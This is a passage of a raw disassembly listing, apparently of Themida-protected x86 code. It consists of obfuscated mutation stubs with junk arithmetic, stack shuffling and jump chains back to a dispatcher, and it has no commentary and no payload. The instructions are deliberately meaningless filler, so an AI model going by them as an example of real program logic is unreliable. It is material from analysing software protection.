[esp] jmp loc_54D315 ; --------------------------------------------------------------------------- loc_547592: ; CODE XREF: Themida_:0054F9CCj mov ecx, [esp] add esp, 4 mov eax, ecx push dword ptr [esp] push dword ptr [esp] jmp loc_54EFAD ; --------------------------------------------------------------------------- loc_5475A8: ; CODE XREF: Themida_:0054626Cj xchg ecx, [esp] jmp loc_544C11 ; --------------------------------------------------------------------------- loc_5475B0: ; CODE XREF: Themida_:00545404j xchg ebx, [esp] pop esp add ebx, 4 add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_54FC6D ; --------------------------------------------------------------------------- loc_5475CE: ; CODE XREF: Themida_:00548A6Bj add eax, 4 xchg eax, [esp] pop esp add esi, 115C2814h add esi, ebx sub esi, 115C2814h mov ebx, [esp] jmp loc_54F75C ; --------------------------------------------------------------------------- loc_5475EB: ; CODE XREF: Themida_:0054E16Ej mov [esp], edx mov edx, 2 mov ebx, edx push dword ptr [esp] jmp loc_54BFAE ; --------------------------------------------------------------------------- loc_5475FD: ; CODE XREF: Themida_:0054EBB4j push dword ptr [esp] jmp loc_54A804 ; --------------------------------------------------------------------------- loc_547605: ; CODE XREF: Themida_:00549513j push 4CAFh mov [esp], ebx mov ebx, 40h and ecx, ebx push dword ptr [esp] mov ebx, [esp] jmp loc_54C1AC ; --------------------------------------------------------------------------- loc_54761F: ; CODE XREF: Themida_:005442CBj sub esp, 4 mov [esp], edx jmp loc_54F778 ; --------------------------------------------------------------------------- loc_54762A: ; CODE XREF: Themida_:0054C95Aj pop edx shl ebx, 6 jmp loc_544449 ; --------------------------------------------------------------------------- loc_547633: ; CODE XREF: Themida_:005463D8j mov dl, 0DAh shr dl, 3 sub dl, 0E8h add al, dl jmp loc_54BE04 ; --------------------------------------------------------------------------- loc_547642: ; CODE XREF: Themida_:00547522j push ebx mov ebx, 29199Fh xor esi, ebx pop ebx add edx, esi pop esi jmp loc_54CE76 ; --------------------------------------------------------------------------- loc_547653: ; CODE XREF: Themida_:0054CC44j mov dl, al pop eax pop ebx add al, 7Eh add al, dl jmp loc_54BB33 ; --------------------------------------------------------------------------- loc_547660: ; CODE XREF: Themida_:0054BD1Dj sub bx, bp pop ebp sub bx, 63EEh add bx, ax jmp loc_54DB30 ; --------------------------------------------------------------------------- loc_547671: ; CODE XREF: Themida_:005481E7j mov edi, 6B200638h push 2606h mov [esp], esi push ecx mov ecx, 6C401EEEh jmp loc_54D816 ; --------------------------------------------------------------------------- loc_547689: ; CODE XREF: Themida_:00546DAEj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp std jmp loc_54CB51 ; --------------------------------------------------------------------------- loc_54769F: ; CODE XREF: Themida_:0054E146j mov edi, edx pop edx or eax, edi jmp loc_54466A ; --------------------------------------------------------------------------- loc_5476A9: ; CODE XREF: Themida_:00545256j push ebx push dword ptr [esp+4] jmp loc_547DF9 ; --------------------------------------------------------------------------- loc_5476B3: ; CODE XREF: Themida_:0054A3FDj xchg ecx, [esp] pop esp mov esi, [esp] jmp loc_546FA8 ; --------------------------------------------------------------------------- loc_5476BF: ; CODE XREF: Themida_:00544990j pop edi jmp loc_550055 ; --------------------------------------------------------------------------- loc_5476C5: ; CODE XREF: Themida_:0054D625j mov ebp, esp push esi jmp loc_546A5A ; --------------------------------------------------------------------------- loc_5476CD: ; CODE XREF: Themida_:0054CDE2j sub esp, 4 mov [esp], edi mov edi, 14786DA3h push esi jmp loc_54680D ; --------------------------------------------------------------------------- loc_5476E1: ; CODE XREF: Themida_:005470F8j pop esi or edx, eax shl edx, 1 xor [edi+24h], edx xor edx, [edi+24h] xor [edi+24h], edx jmp loc_54DD2E ; --------------------------------------------------------------------------- loc_5476F4: ; CODE XREF: Themida_:0054F405j pop edx add ecx, ebp pop ebp sub ecx, 4 jmp loc_54ED29 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_544022 ; --------------------------------------------------------------------------- loc_547708: ; CODE XREF: Themida_:0054A9FAj sub esp, 4 mov [esp], edi push 3D41h mov [esp], esp push ecx jmp loc_54E982 ; --------------------------------------------------------------------------- loc_54771C: ; CODE XREF: Themida_:005479B0j push ecx jmp loc_54A64A ; --------------------------------------------------------------------------- loc_547722: ; CODE XREF: Themida_:0054963Cj xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_547E97 ; --------------------------------------------------------------------------- loc_547730: ; CODE XREF: Themida_:0054F03Cj mov esi, 4 mov edx, esi pop esi add [esp+4], edx pop edx jmp loc_5440E5 ; --------------------------------------------------------------------------- loc_547742: ; CODE XREF: Themida_:0054DA9Aj pop ebx or ah, cl pop cx push ebx mov bl, 0B8h push cx mov ch, 6Ch sub bl, ch pop cx push eax mov al, 3Dh dec al add al, 0F4h jmp loc_54B7A9 ; --------------------------------------------------------------------------- loc_54775E: ; CODE XREF: Themida_:00546B28j add esp, 4 add edx, 4 jmp loc_544919 ; --------------------------------------------------------------------------- loc_547769: ; CODE XREF: Themida_:00545E6Bj pop eax xchg ecx, [esp] mov esp, [esp] shl dword ptr [esp], cl jmp loc_544022 ; --------------------------------------------------------------------------- loc_547778: ; CODE XREF: Themida_:0054813Cj add esp, 4 movzx eax, al mov dx, [esp] push 2268h mov [esp], ebp jmp loc_54EC7C ; --------------------------------------------------------------------------- loc_54778F: ; CODE XREF: Themida_:0054D754j sub [esp+4], ebp pop ebp pop edx push esi jmp loc_548D15 ; --------------------------------------------------------------------------- loc_54779B: ; CODE XREF: Themida_:00545180j pop esp xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_54D7C9 ; --------------------------------------------------------------------------- loc_5477AA: ; CODE XREF: Themida_:0054D8C0j add eax, edi mov edi, [esp] add esp, 4 sub edi, 157F3E31h sub edi, eax add edi, 157F3E31h mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_54CAAD ; --------------------------------------------------------------------------- loc_5477D7: ; CODE XREF: Themida_:0054697Cj mov [esp], cx push ebx mov bl, 14h mov ch, 85h add ch, bl jmp loc_5456AE ; --------------------------------------------------------------------------- loc_5477E7: ; CODE XREF: Themida_:00549684j mov ebp, 419D0B16h push edx mov edx, 595674C2h and ebp, edx pop edx shr ebp, 1 neg ebp or ebp, 546215DBh dec ebp add ebp, 969C0D6Ch jmp loc_545C04 ; --------------------------------------------------------------------------- loc_54780B: ; CODE XREF: Themida_:00546C7Ej mov [esp], ax push edx mov dl, 0BAh inc dl add dl, 5Ch xor dl, 2Dh mov al, dl jmp loc_54B945 ; --------------------------------------------------------------------------- loc_547821: ; CODE XREF: Themida_:0054FA01j sub esp, 4 mov [esp], eax mov eax, 5FE3323Ah sub eax, 9042C70h sub eax, 9827428h xor eax, 4D5C919Ah mov edi, eax pop eax push edi jmp loc_548DDD ; --------------------------------------------------------------------------- loc_547844: ; CODE XREF: Themida_:00547D6Dj pop esp add esi, 2 xor esi, [esp] xor [esp], esi jmp loc_54C0EE ; --------------------------------------------------------------------------- loc_547856: ; CODE XREF: Themida_:00546FA3j add ebx, 3BE57C94h jmp loc_54B144 ; --------------------------------------------------------------------------- loc_547861: ; CODE XREF: Themida_:00544B6Dj mov [esp], ebp push 0BD73285h pop ebp add ebx, ebp mov ebp, [esp] push edi mov edi, esp push ecx jmp loc_54F6A7 ; --------------------------------------------------------------------------- loc_547878: ; CODE XREF: Themida_:00545024j sub ebx, 7986BD5h mov edi, [esp] add esp, 4 push dword ptr [eax] jmp loc_544022 ; --------------------------------------------------------------------------- loc_54788E: ; CODE XREF: Themida_:00548621j mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] xor edx, edx push 7941h mov [esp], ebx mov eax, [esp] jmp loc_549D27 ; --------------------------------------------------------------------------- loc_5478C3: ; CODE XREF: Themida_:00548B5Aj sub ebp, 1 jmp loc_5451AB ; --------------------------------------------------------------------------- loc_5478CB: ; CODE XREF: Themida_:0054F600j push ebx push ecx jmp loc_548338 ; --------------------------------------------------------------------------- loc_5478D2: ; CODE XREF: Themida_:0054B2E6j push 34C8h mov [esp], ebp mov ebp, 2E227EC5h add eax, ebp pop ebp mov edi, [esp] add esp, 4 jmp loc_54C895 ; --------------------------------------------------------------------------- dd 0E99F2CACh, 0FFFFD6B0h ; --------------------------------------------------------------------------- loc_5478F8: ; CODE XREF: Themida_:0054AD3Cj sub esi, 0E9388BB2h sub eax, 386F7832h add eax, esi add eax, 386F7832h mov esi, [esp] add esp, 4 push ebx mov ebx, esp jmp loc_548CB0 ; --------------------------------------------------------------------------- loc_54791B: ; CODE XREF: Themida_:0054751Cj mov cx, [esp] push 264Bh mov [esp], edi jmp loc_54EB6D ; --------------------------------------------------------------------------- loc_54792C: ; CODE XREF: Themida_:00549399j mov ecx, 0AAA4D4E2h sub ecx, 2AD1382Dh add ecx, esi add ecx, 2AD1382Dh mov esi, [esp] jmp loc_54EB59 ; --------------------------------------------------------------------------- loc_547947: ; CODE XREF: Themida_:0054CE44j add dword ptr [esp], 4 jmp loc_54C09B ; --------------------------------------------------------------------------- loc_547950: ; CODE XREF: Themida_:0054D652j and edx, 90F5D0Dh jmp loc_54FA32 ; --------------------------------------------------------------------------- loc_54795B: ; CODE XREF: Themida_:00546808j and edi, 53E0037Fh not edi xor edi, 0C9DBB0BFh jmp loc_549F9E ; --------------------------------------------------------------------------- mov cx, [esp] push ebp mov ebp, esp push edx mov edx, 3AD6345Dh and edx, 30507AC2h shl edx, 7 dec edx jmp loc_54C3E7 ; --------------------------------------------------------------------------- loc_54798A: ; CODE XREF: Themida_:0054C2B9j push ecx mov ecx, 0CE533B6Bh add edi, ecx pop ecx mov edx, edi pop edi sub edx, 1 sub esp, 4 jmp loc_54A2CE ; --------------------------------------------------------------------------- loc_5479A4: ; CODE XREF: Themida_:0054B2F9j shl edx, 3 add edx, 0D719964h add ebx, edx pop edx jmp loc_54771C ; --------------------------------------------------------------------------- mov ax, [esp] push esi push esp mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_54A261 ; --------------------------------------------------------------------------- loc_5479CC: ; CODE XREF: Themida_:0054A2D6j xor edx, edi jmp loc_5493D2 ; --------------------------------------------------------------------------- loc_5479D3: ; CODE XREF: Themida_:0054E655j shr edi, 2 sub edi, 0A168FA11h jmp loc_545B2D ; --------------------------------------------------------------------------- loc_5479E1: ; CODE XREF: Themida_:00548C0Bj add eax, 4 jmp loc_54478E ; --------------------------------------------------------------------------- loc_5479EB: ; CODE XREF: Themida_:0054DDF7j push dword ptr [esp] pop edx add esp, 4 sub edx, 73064834h add edx, 105B78CEh add edx, edi sub edx, 105B78CEh push ecx push eax mov eax, 17AB2A1Bh jmp loc_54D06C ; --------------------------------------------------------------------------- loc_547A15: ; CODE XREF: Themida_:0054C6FAj xor [esp], eax xor eax, [esp] xor [esp], eax xchg eax, ebx not ebx xchg eax, ebx push eax push dword ptr [esp+4] jmp loc_54ACFF ; --------------------------------------------------------------------------- loc_547A2C: ; CODE XREF: Themida_:0054FA7Fj push ebp not dword ptr [esp] pop ebp not ebp or ebp, 63803212h not ebp neg ebp sub ebp, 291A8765h push edi jmp loc_54D41A ; --------------------------------------------------------------------------- loc_547A49: ; CODE XREF: Themida_:00548DF9j ; Themida_:0054ECC1j ... push dword ptr [esp] push dword ptr [esp] jmp loc_54DE0E ; --------------------------------------------------------------------------- mov ax, [esp] push 7F37h jmp loc_546017 ; --------------------------------------------------------------------------- loc_547A62: ; CODE XREF: Themida_:00545223j pop esi pop esi jmp loc_54C95F ; --------------------------------------------------------------------------- loc_547A69: ; CODE XREF: Themida_:0054DF7Ej mov [esp], edx jmp loc_548418 ; --------------------------------------------------------------------------- loc_547A71: ; CODE XREF: Themida_:00544364j pop dword ptr [esp] pop esp mov [esp], ax jmp loc_54EDC3 ; --------------------------------------------------------------------------- loc_547A7E: ; CODE XREF: Themida_:00547C7Cj or edi, edx jmp loc_54FAA3 ; --------------------------------------------------------------------------- loc_547A85: ; CODE XREF: Themida_:00546D2Fj dec ch shl ch, 1 add ch, 0C3h sub al, ch pop ecx add al, 30h sub al, ch jmp loc_54C37E ; --------------------------------------------------------------------------- loc_547A98: ; CODE XREF: Themida_:0054A2AEj mov [esp], edi mov edi, 2DE20247h jmp loc_54410A ; --------------------------------------------------------------------------- loc_547AA5: ; CODE XREF: Themida_:0054AAE4j push edx mov edx, 98347A4h sub edx, 28322152h and edx, 335C7E5Ch push 2F28h jmp loc_54FA77 ; --------------------------------------------------------------------------- loc_547AC1: ; CODE XREF: Themida_:0054504Dj add esp, 4 shr eax, 0Ah jmp loc_54C6F0 ; --------------------------------------------------------------------------- loc_547ACF: ; CODE XREF: Themida_:0054A324j mov esi, [esp] add esp, 4 add esi, 4 push ecx mov ecx, 2 add esi, 22380AE4h add esi, ecx sub esi, 22380AE4h pop ecx jmp loc_54AA5B ; --------------------------------------------------------------------------- loc_547AF8: ; CODE XREF: Themida_:0054882Bj sub edx, ecx pop ecx not edx push esi jmp loc_546145 ; --------------------------------------------------------------------------- loc_547B03: ; CODE XREF: Themida_:0054911Cj mov ebp, [esp] jmp loc_544E91 ; --------------------------------------------------------------------------- loc_547B0B: ; CODE XREF: Themida_:0054A028j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp movsx cx, al jmp loc_54664C ; --------------------------------------------------------------------------- loc_547B1E: ; CODE XREF: Themida_:005484F6j mov edi, esp push 4360h mov [esp], eax jmp loc_546182 ; --------------------------------------------------------------------------- loc_547B2D: ; CODE XREF: Themida_:0054C533j mov ebx, edi pop edi xor ebx, 2B837668h add esi, ebx jmp loc_547258 ; --------------------------------------------------------------------------- loc_547B3D: ; CODE XREF: Themida_:0054732Aj pop ecx or [edi+1Ch], edx pop edx loc_547B42: ; CODE XREF: Themida_:0054C852j push ebx push 6AB1h mov [esp], ebp push ebx mov ebx, 4C576FEAh jmp loc_54873B ; --------------------------------------------------------------------------- loc_547B56: ; CODE XREF: Themida_:0054A673j pop esp sub [edi+24h], ecx pop ecx loc_547B5B: ; CODE XREF: Themida_:0054F7D8j push 52E7h mov [esp], ebx push esi sub esp, 4 mov [esp], ebx push ecx push ebp push 48E752D4h pop ebp jmp loc_54F827 ; --------------------------------------------------------------------------- loc_547B77: ; CODE XREF: Themida_:0054B0B6j add edi, 4 xchg edi, [esp] pop esp add [esp+4], ebp pop ebp pop esi push 4F4Dh jmp loc_54E201 ; --------------------------------------------------------------------------- loc_547B8E: ; CODE XREF: Themida_:0054B88Ej push esp pop eax add eax, 4 push ecx mov ecx, 5A4051DAh shr ecx, 2 jmp loc_54DA9F ; --------------------------------------------------------------------------- loc_547BA3: ; CODE XREF: Themida_:00549272j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp pop dword ptr [esp] jmp loc_54C1C3 ; --------------------------------------------------------------------------- loc_547BBD: ; CODE XREF: Themida_:0054DEDBj dec edi and edi, 444A4BDFh inc edi add edi, 0FCF92412h add eax, edi pop edi pop ecx sub eax, ebx jmp loc_548654 ; --------------------------------------------------------------------------- loc_547BD6: ; CODE XREF: Themida_:0054DD55j mov eax, 4C0C3446h not eax push edx mov edx, 9CF747Fh sub eax, edx pop edx add eax, 1 sub eax, 0AA245717h add eax, edi xor [eax], edx pop eax jmp loc_54AFF4 ; --------------------------------------------------------------------------- loc_547BFA: ; CODE XREF: Themida_:00544189j mov ebp, 4CD13BFCh jmp loc_5488E6 ; --------------------------------------------------------------------------- loc_547C04: ; CODE XREF: Themida_:0054D1C9j add ebx, 4AEB19B0h push ebp jmp loc_548FEB ; --------------------------------------------------------------------------- loc_547C10: ; CODE XREF: Themida_:00546158j sub [esp+8], edi pop edi pop ebx jmp loc_544022 ; --------------------------------------------------------------------------- loc_547C1B: ; CODE XREF: Themida_:0054C945j xchg esi, [esp] mov esp, [esp] sub edx, 1A0C176Ah sub edx, 0ADB1B53h add edx, eax add edx, 0ADB1B53h jmp loc_54E861 ; --------------------------------------------------------------------------- loc_547C3A: ; CODE XREF: Themida_:00549790j push ebp jmp loc_545F79 ; --------------------------------------------------------------------------- loc_547C40: ; CODE XREF: Themida_:005491E0j shr esi, 6 add esi, 27037CB2h jmp loc_54CE0A ; --------------------------------------------------------------------------- mov ecx, ebx mov esi, ecx pop ecx pop ebx jmp loc_54B6E4 ; --------------------------------------------------------------------------- loc_547C59: ; CODE XREF: Themida_:0054C870j add dl, ah pop ax jmp loc_548775 ; --------------------------------------------------------------------------- mov cx, [esp] push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_549970 ; --------------------------------------------------------------------------- loc_547C7B: ; CODE XREF: Themida_:0054F90Aj pop ebp jmp loc_547A7E ; --------------------------------------------------------------------------- loc_547C81: ; CODE XREF: Themida_:00544FE9j add esp, 4 shl esi, 1 push ebp mov ebp, 71CAA14h xor esi, ebp pop ebp sub eax, 55AB5E16h add eax, esi add eax, 55AB5E16h jmp loc_54DBBF ; --------------------------------------------------------------------------- loc_547CA0: ; CODE XREF: Themida_:0054D90Aj push esi mov esi, esp jmp loc_54CB87 ; --------------------------------------------------------------------------- loc_547CA8: ; CODE XREF: Themida_:0054BA03j xor edx, [esp] mov esp, [esp] jmp loc_5464D4 ; --------------------------------------------------------------------------- loc_547CB3: ; CODE XREF: Themida_:00548460j pop edx push ebp jmp loc_545FDE ; --------------------------------------------------------------------------- loc_547CBA: ; CODE XREF: Themida_:00549B01j push ecx sub esp, 4 jmp loc_549C64 ; --------------------------------------------------------------------------- loc_547CC6: ; CODE XREF: Themida_:0054E3D4j sub esi, 3AE644Fh sub esi, 75A9180Eh add esi, eax push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_54C35B ; --------------------------------------------------------------------------- loc_547CE8: ; CODE XREF: Themida_:00545688j not ch mov dl, ch jmp loc_54448C ; --------------------------------------------------------------------------- loc_547CF1: ; CODE XREF: Themida_:0054CADCj add dword ptr [esp], 4 pop ebp jmp loc_54DAB7 ; --------------------------------------------------------------------------- loc_547CFB: ; CODE XREF: Themida_:0054731Dj mov eax, esp push ecx mov ecx, 61204784h inc ecx jmp loc_545461 ; --------------------------------------------------------------------------- loc_547D09: ; CODE XREF: Themida_:0054CE18j mov ecx, [esp] add esp, 4 jmp loc_549DC7 ; --------------------------------------------------------------------------- loc_547D14: ; CODE XREF: Themida_:00548499j mov esp, [esp] imul ecx push esi mov esi, esp add esi, 4 jmp loc_54DF52 ; --------------------------------------------------------------------------- loc_547D27: ; CODE XREF: Themida_:0054C5C5j and ebp, 1E47061Dh jmp loc_54F902 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_544022 ; --------------------------------------------------------------------------- loc_547D41: ; CODE XREF: Themida_:0054B865j sub eax, 0F017D8E0h jmp loc_547283 ; --------------------------------------------------------------------------- loc_547D4B: ; CODE XREF: Themida_:00549659j mov ebp, 4 add edx, ebp pop ebp push ebx jmp loc_54AEAE ; --------------------------------------------------------------------------- loc_547D59: ; CODE XREF: Themida_:0054BDB4j shl ecx, 6 push edi mov edi, 0FCEF2A55h xor ecx, edi pop edi jmp loc_54E1D9 ; --------------------------------------------------------------------------- loc_547D6A: ; CODE XREF: Themida_:0054EE6Cj xor ecx, [esp] jmp loc_547844 ; --------------------------------------------------------------------------- loc_547D72: ; CODE XREF: Themida_:0054B923j pop ebp add eax, 527B5515h add eax, edx sub eax, 527B5515h push dword ptr [esp] jmp loc_54A5E4 ; --------------------------------------------------------------------------- loc_547D87: ; CODE XREF: Themida_:005453B3j add ecx, esi mov esi, [esp] jmp loc_54BFF3 ; --------------------------------------------------------------------------- loc_547D91: ; CODE XREF: Themida_:00549215j push ecx mov cl, 17h xor cl, 28h sub esp, 4 mov [esp], ebx jmp loc_54AE8A ; --------------------------------------------------------------------------- loc_547DA5: ; CODE XREF: Themida_:00544096j add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_544022 ; --------------------------------------------------------------------------- loc_547DB5: ; CODE XREF: Themida_:00544B4Cj sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_54FFBE ; --------------------------------------------------------------------------- loc_547DC7: ; CODE XREF: Themida_:0054A913j mov dx, [esp] add esp, 2 sub esp, 4 mov [esp], ebx push 2470h mov [esp], eax push ebx mov bl, dl push edx jmp loc_54C282 ; --------------------------------------------------------------------------- loc_547DEB: ; CODE XREF: Themida_:0054843Bj push ebx jmp loc_54F01A ; --------------------------------------------------------------------------- loc_547DF1: ; CODE XREF: Themida_:0054620Bj push edx mov edx, esp jmp loc_54D494 ; --------------------------------------------------------------------------- loc_547DF9: ; CODE XREF: Themida_:005476AEj pop ebx pop dword ptr [esp] jmp loc_546BE8 ; --------------------------------------------------------------------------- loc_547E02: ; CODE XREF: Themida_:0054FF7Cj neg edx add edx, 1 push edi mov edi, 2E6D35A5h jmp loc_5465B2 ; --------------------------------------------------------------------------- loc_547E12: ; CODE XREF: Themida_:00549B3Cj push 4648h mov [esp], ebx mov bx, 4123h shr bx, 4 push small 7273h mov [esp], bx jmp loc_54E457 ; --------------------------------------------------------------------------- loc_547E2F: ; CODE XREF: Themida_:00544FF0j jmp loc_544022 ; --------------------------------------------------------------------------- loc_547E34: ; CODE XREF: Themida_:0054ABD2j pop ebp xor ebp, 45CD6EC5h jmp loc_54DF07 ; --------------------------------------------------------------------------- loc_547E40: ; CODE XREF: Themida_:005455F3j xor ebx, [esp] jmp loc_54B3E1 ; --------------------------------------------------------------------------- loc_547E48: ; CODE XREF: Themida_:0054C2EFj add esp, 4 jmp loc_54BAF1 ; --------------------------------------------------------------------------- loc_547E50: ; CODE XREF: Themida_:0054D45Dj shl ch, 1 shl ch, 3 neg ch xor ch, 76h xor bh, ch jmp loc_54B580 ; --------------------------------------------------------------------------- loc_547E61: ; CODE XREF: Themida_:0054C9C4j add ebp, 467B4C17h mov ecx, ebp pop ebp push ebp mov ebp, 50455294h jmp loc_54BE34 ; --------------------------------------------------------------------------- loc_547E75: ; CODE XREF: Themida_:00544C04j push 59722EA4h pop ebx shl ebx, 1 push ebp jmp loc_54F4B9 ; --------------------------------------------------------------------------- loc_547E83: ; CODE XREF: Themida_:0054AFE3j add ebx, 2 xchg ebx, [esp] mov esp, [esp] bt [esp], ax pushf jmp loc_549A65 ; --------------------------------------------------------------------------- loc_547E97: ; CODE XREF: Themida_:0054772Bj sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_54FFC6 ; --------------------------------------------------------------------------- loc_547EB0: ; CODE XREF: Themida_:0054EE2Aj add al, cl add al, 50h jmp loc_54D462 ; --------------------------------------------------------------------------- loc_547EB9: ; CODE XREF: Themida_:00546DA5j add esp, 4 sub esp, 4 mov [esp], ebp push esp pop ebp push edi push 4 push dword ptr [esp] pop edi push eax mov eax, esp push ecx mov ecx, 0B1F34C6h jmp loc_548A70 ; --------------------------------------------------------------------------- loc_547EDC: ; CODE XREF: Themida_:0054B4D0j add eax, 4 jmp loc_54BA51 ; --------------------------------------------------------------------------- loc_547EE6: ; CODE XREF: Themida_:0054886Cj sub esi, 0D8038A2h push edx jmp loc_54BA9C ; --------------------------------------------------------------------------- dw 8B66h dd 54502404h, 0FFD0C5E9h db 0FFh ; --------------------------------------------------------------------------- loc_547EFD: ; CODE XREF: Themida_:0054D1E0j add edi, 5BE54D9Dh jmp loc_54A741 ; --------------------------------------------------------------------------- loc_547F08: ; CODE XREF: Themida_:0054D15Dj pop esi or eax, eax jnz loc_545B16 mov edx, 5F8447BCh push 4C62h mov [esp], edx xchg ebx, [esp] not ebx xchg ebx, [esp] jmp loc_5459B1 ; --------------------------------------------------------------------------- loc_547F2B: ; CODE XREF: Themida_:0054D8D6j push dword ptr [esp+4] jmp loc_54E276 ; --------------------------------------------------------------------------- loc_547F34: ; CODE XREF: Themida_:00549708j pop esp jmp loc_54FF47 ; --------------------------------------------------------------------------- loc_547F3A: ; CODE XREF: Themida_:0054F9F3j mov eax, 94C021Fh shr eax, 8 and eax, 0F700DE5h inc eax sub eax, 0B04E076Fh mov edx, eax pop eax sub esp, 4 jmp loc_5452D3 ; --------------------------------------------------------------------------- loc_547F58: ; CODE XREF: Themida_:0054BF22j ror word ptr [esp], cl pushf jmp loc_548EA5 ; --------------------------------------------------------------------------- loc_547F62: ; CODE XREF: Themida_:00546C57j or ch, 72h sub ch, 4Bh jmp loc_54DDC9 ; --------------------------------------------------------------------------- loc_547F6D: ; CODE XREF: Themida_:0054E97Dj sub eax, 7F3F41DCh jmp loc_54E21A ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 726h mov [esp], ebx mov ebx, 526D0031h and ebx, 421D0583h shr ebx, 6 jmp loc_54CA5F ; --------------------------------------------------------------------------- loc_547F95: ; CODE XREF: Themida_:0054B657j shl edx, 7 not edx inc edx xor edx, 7A513184h mov esi, edx pop edx sub ecx, 1CAC76E1h jmp loc_54A5D2 ; --------------------------------------------------------------------------- loc_547FAF: ; CODE XREF: Themida_:0054FEDDj mov [esp], ax jmp loc_544022 ; --------------------------------------------------------------------------- loc_547FB8: ; CODE XREF: Themida_:00546F5Bj mov edi, [esp] jmp loc_54A98F ; --------------------------------------------------------------------------- loc_547FC0: ; CODE XREF: Themida_:0054CE24j mov ebx, 46999D1Bh xor edi, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 xor eax, edi mov edi, [esp] add esp, 4 push edx mov edx, 5B6E3F3Eh add edx, 0D488DA0Ah jmp loc_54AE7A ; --------------------------------------------------------------------------- loc_547FEF: ; CODE XREF: Themida_:0054CD26j pop ebp sub esp, 4 mov [esp], ebp push edx mov edx, 401C2446h and edx, 4F2707E8h add edx, 0BFFBFBC4h mov ebp, edx pop edx sub ecx, 69025D0Eh add ecx, ebp jmp loc_54B8A6 ; --------------------------------------------------------------------------- loc_548018: ; CODE XREF: Themida_:00546405j mov ecx, 14586672h jmp loc_544451 ; --------------------------------------------------------------------------- mov eax, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp push ebx jmp loc_54DE32 ; --------------------------------------------------------------------------- loc_548036: ; CODE XREF: Themida_:0054AA65j add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ecx jmp loc_54A72E ; --------------------------------------------------------------------------- loc_54804C: ; CODE XREF: Themida_:00544914j sub ebx, edi sub ebx, 4A60221Ah pop edi sub ebx, esi jmp loc_5483A8 ; --------------------------------------------------------------------------- loc_54805C: ; CODE XREF: Themida_:00544BB0j shl ebx, 1 jmp loc_548C6D ; --------------------------------------------------------------------------- loc_548063: ; CODE XREF: Themida_:0054EED2j mov edx, esp push esi mov esi, 0A466705h dec esi shr esi, 6 jmp loc_547521 ; --------------------------------------------------------------------------- loc_548074: ; CODE XREF: Themida_:0054CDD5j dec eax jmp loc_54BFE8 ; --------------------------------------------------------------------------- loc_54807A: ; CODE XREF: Themida_:0054867Fj or edi, 6AF36CC2h shl edi, 8 dec edi inc edi xor edi, 0E581F150h add esi, edi pop edi jmp loc_547039 ; --------------------------------------------------------------------------- loc_548093: ; CODE XREF: Themida_:0054E447j pop ecx jmp loc_5469A4 ; --------------------------------------------------------------------------- loc_548099: ; CODE XREF: Themida_:0054CAFAj mov [esp], ecx push esp pop ecx push esi jmp loc_5453AE ; --------------------------------------------------------------------------- loc_5480A4: ; CODE XREF: Themida_:0054EC38j mov edx, [esp] push eax mov eax, esp push esi mov esi, 711C33AAh not esi jmp loc_54B4C1 ; --------------------------------------------------------------------------- loc_5480B7: ; CODE XREF: Themida_:005442C3j ; Themida_:0054C227j push ecx jmp loc_544E80 ; --------------------------------------------------------------------------- loc_5480BD: ; CODE XREF: Themida_:005440B7j mov [esp], edi push esi mov esi, 77C5F1Bh mov edi, 77C5F1Ah xor edi, esi pop esi and ecx, edi jmp loc_544EE5 ; --------------------------------------------------------------------------- loc_5480D5: ; CODE XREF: Themida_:00548555j pop esp xor ebx, [esp] jmp loc_5443A2 ; --------------------------------------------------------------------------- loc_5480DE: ; CODE XREF: Themida_:0054ADE2j sub ebx, eax pop eax sub ebx, eax jmp loc_545C35 ; --------------------------------------------------------------------------- loc_5480E8: ; CODE XREF: Themida_:00545F02j mov esi, 1783100Ah jmp loc_54D07D ; --------------------------------------------------------------------------- loc_5480F2: ; CODE XREF: Themida_:00548EA0j sub ebx, 4 xor ebx, [esp] jmp loc_54F9D1 ; --------------------------------------------------------------------------- loc_548100: ; CODE XREF: Themida_:0054FFC1j add dword ptr [esp], 4 mov eax, [esp] add esp, 4 push ecx mov ecx, 38757C5h inc ecx and ecx, 4B6F4A71h or ecx, 3EEF0BA1h add ecx, 0C010B423h add eax, ecx pop ecx jmp loc_54F85E ; --------------------------------------------------------------------------- loc_54812E: ; CODE XREF: Themida_:0054B80Ej xor ah, 0BAh sub bl, 6Eh sub bl, ah add bl, 6Eh mov eax, [esp] jmp loc_547778 ; --------------------------------------------------------------------------- loc_548141: ; CODE XREF: Themida_:0054FB60j push esp push dword ptr [esp] pop ecx add esp, 4 push ebp mov ebp, 59F85FA6h and ebp, 3CDD2AC6h shl ebp, 2 and ebp, 25A72460h jmp loc_544AF8 ; --------------------------------------------------------------------------- loc_548163: ; CODE XREF: Themida_:0054F70Bj push esi mov esi, 1BA6512Ah jmp loc_54D3ED ; --------------------------------------------------------------------------- loc_54816E: ; CODE XREF: Themida_:005467CFj push 6909h mov [esp], edi jmp loc_545310 ; --------------------------------------------------------------------------- loc_54817B: ; CODE XREF: Themida_:00545D3Cj push eax jmp loc_54B8CE ; --------------------------------------------------------------------------- loc_548181: ; CODE XREF: Themida_:0054DBACj mov edx, 65F45A54h jmp loc_548825 ; --------------------------------------------------------------------------- loc_54818B: ; CODE XREF: 